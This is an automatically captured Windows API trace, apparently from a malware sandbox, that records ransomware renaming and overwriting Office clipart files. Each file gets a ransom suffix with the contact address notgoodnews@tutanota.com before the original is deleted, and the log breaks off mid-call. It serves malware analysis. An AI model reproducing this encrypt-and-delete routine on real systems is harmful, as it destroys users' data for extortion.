lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.264] lstrlenW (lpString=".ppt") returned 4 [0080.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0080.264] lstrlenW (lpString=".zip") returned 4 [0080.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.264] lstrlenW (lpString=".rar") returned 4 [0080.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.265] lstrlenW (lpString=".bz2") returned 4 [0080.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.265] lstrlenW (lpString=".7z") returned 3 [0080.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0080.265] lstrlenW (lpString=".dbf") returned 4 [0080.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0080.265] lstrlenW (lpString=".1cd") returned 4 [0080.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0080.265] lstrlenW (lpString=".jpg") returned 4 [0080.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0080.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0080.265] lstrlenW (lpString=".doc") returned 4 [0080.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.265] lstrlenW (lpString=".docx") returned 5 [0080.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.265] lstrlenW (lpString=".pdf") returned 4 [0080.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.265] lstrlenW (lpString=".xls") returned 4 [0080.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.265] lstrlenW (lpString=".xlsx") returned 5 [0080.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.265] lstrlenW (lpString=".ppt") returned 4 [0080.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0080.265] lstrlenW (lpString=".zip") returned 4 [0080.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.265] lstrlenW (lpString=".rar") returned 4 [0080.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.265] lstrlenW (lpString=".bz2") returned 4 [0080.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.265] lstrlenW (lpString=".7z") returned 3 [0080.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0080.266] lstrlenW (lpString=".dbf") returned 4 [0080.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0080.266] lstrlenW (lpString=".1cd") returned 4 [0080.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0080.266] lstrlenW (lpString=".jpg") returned 4 [0080.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.266] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.266] lstrlenW (lpString="BL00273_.WMF") returned 12 [0080.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0080.266] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3780) returned 1 [0080.266] CloseHandle (hObject=0x358) returned 1 [0080.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220 [0080.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0080.267] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.267] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0080.267] GetLastError () returned 0x0 [0080.267] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xec4, lpOverlapped=0x0) returned 1 [0080.268] WriteFile (in: hFile=0x354, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xed0, lpOverlapped=0x0) returned 1 [0080.269] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.269] WriteFile (in: hFile=0x354, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0080.269] SetEndOfFile (hFile=0x354) returned 1 [0080.270] CloseHandle (hObject=0x354) returned 1 [0080.271] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.271] SetEndOfFile (hFile=0x358) returned 1 [0080.271] CloseHandle (hObject=0x358) returned 1 [0080.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0080.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0080.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0080.272] lstrlenW (lpString=".doc") returned 4 [0080.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.272] lstrlenW (lpString=".docx") returned 5 [0080.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.272] lstrlenW (lpString=".pdf") returned 4 [0080.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.272] lstrlenW (lpString=".xls") returned 4 [0080.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.272] lstrlenW (lpString=".xlsx") returned 5 [0080.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.272] lstrlenW (lpString=".ppt") returned 4 [0080.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0080.272] lstrlenW (lpString=".zip") returned 4 [0080.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.272] lstrlenW (lpString=".rar") returned 4 [0080.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.273] lstrlenW (lpString=".bz2") returned 4 [0080.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.273] lstrlenW (lpString=".7z") returned 3 [0080.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0080.273] lstrlenW (lpString=".dbf") returned 4 [0080.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0080.273] lstrlenW (lpString=".1cd") returned 4 [0080.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0080.273] lstrlenW (lpString=".jpg") returned 4 [0080.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0080.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0080.273] lstrlenW (lpString=".doc") returned 4 [0080.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.273] lstrlenW (lpString=".docx") returned 5 [0080.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.273] lstrlenW (lpString=".pdf") returned 4 [0080.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.273] lstrlenW (lpString=".xls") returned 4 [0080.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.273] lstrlenW (lpString=".xlsx") returned 5 [0080.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.273] lstrlenW (lpString=".ppt") returned 4 [0080.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0080.273] lstrlenW (lpString=".zip") returned 4 [0080.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.273] lstrlenW (lpString=".rar") returned 4 [0080.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.273] lstrlenW (lpString=".bz2") returned 4 [0080.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.273] lstrlenW (lpString=".7z") returned 3 [0080.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0080.274] lstrlenW (lpString=".dbf") returned 4 [0080.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0080.274] lstrlenW (lpString=".1cd") returned 4 [0080.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0080.274] lstrlenW (lpString=".jpg") returned 4 [0080.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.274] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.274] lstrlenW (lpString="BL00274_.WMF") returned 12 [0080.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0080.274] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=4164) returned 1 [0080.274] CloseHandle (hObject=0x358) returned 1 [0080.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220 [0080.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0080.275] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.275] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0080.278] GetLastError () returned 0x0 [0080.278] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1044, lpOverlapped=0x0) returned 1 [0080.735] WriteFile (in: hFile=0x354, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1050, lpOverlapped=0x0) returned 1 [0080.736] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.736] WriteFile (in: hFile=0x354, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0080.736] SetEndOfFile (hFile=0x354) returned 1 [0080.736] CloseHandle (hObject=0x354) returned 1 [0080.737] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.737] SetEndOfFile (hFile=0x358) returned 1 [0080.738] CloseHandle (hObject=0x358) returned 1 [0080.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0080.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0080.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0080.992] lstrlenW (lpString=".doc") returned 4 [0080.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.992] lstrlenW (lpString=".docx") returned 5 [0080.992] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.992] lstrlenW (lpString=".pdf") returned 4 [0080.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.992] lstrlenW (lpString=".xls") returned 4 [0080.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.993] lstrlenW (lpString=".xlsx") returned 5 [0080.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.993] lstrlenW (lpString=".ppt") returned 4 [0080.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0080.993] lstrlenW (lpString=".zip") returned 4 [0080.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.993] lstrlenW (lpString=".rar") returned 4 [0080.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.993] lstrlenW (lpString=".bz2") returned 4 [0080.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.993] lstrlenW (lpString=".7z") returned 3 [0080.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0080.993] lstrlenW (lpString=".dbf") returned 4 [0080.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0080.993] lstrlenW (lpString=".1cd") returned 4 [0080.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0080.993] lstrlenW (lpString=".jpg") returned 4 [0080.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0080.993] lstrlenW (lpString=".doc") returned 4 [0080.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.993] lstrlenW (lpString=".docx") returned 5 [0080.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.993] lstrlenW (lpString=".pdf") returned 4 [0080.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.993] lstrlenW (lpString=".xls") returned 4 [0080.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.993] lstrlenW (lpString=".xlsx") returned 5 [0080.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.994] lstrlenW (lpString=".ppt") returned 4 [0080.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0080.994] lstrlenW (lpString=".zip") returned 4 [0080.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.994] lstrlenW (lpString=".rar") returned 4 [0080.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.994] lstrlenW (lpString=".bz2") returned 4 [0080.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.994] lstrlenW (lpString=".7z") returned 3 [0080.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0080.994] lstrlenW (lpString=".dbf") returned 4 [0080.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0080.994] lstrlenW (lpString=".1cd") returned 4 [0080.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0080.994] lstrlenW (lpString=".jpg") returned 4 [0080.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.994] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.994] lstrlenW (lpString="BS00076_.WMF") returned 12 [0080.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0081.252] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1330) returned 1 [0081.252] CloseHandle (hObject=0x31c) returned 1 [0081.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220 [0081.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0081.252] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.252] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0081.252] GetLastError () returned 0x0 [0081.253] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x532, lpOverlapped=0x0) returned 1 [0081.254] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x540, lpOverlapped=0x0) returned 1 [0081.255] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.255] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0081.255] SetEndOfFile (hFile=0x39c) returned 1 [0081.255] CloseHandle (hObject=0x39c) returned 1 [0081.256] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.256] SetEndOfFile (hFile=0x31c) returned 1 [0081.257] CloseHandle (hObject=0x31c) returned 1 [0081.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0081.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0081.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0081.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0081.257] lstrlenW (lpString=".doc") returned 4 [0081.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.257] lstrlenW (lpString=".docx") returned 5 [0081.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.257] lstrlenW (lpString=".pdf") returned 4 [0081.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.257] lstrlenW (lpString=".xls") returned 4 [0081.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.257] lstrlenW (lpString=".xlsx") returned 5 [0081.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.257] lstrlenW (lpString=".ppt") returned 4 [0081.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0081.258] lstrlenW 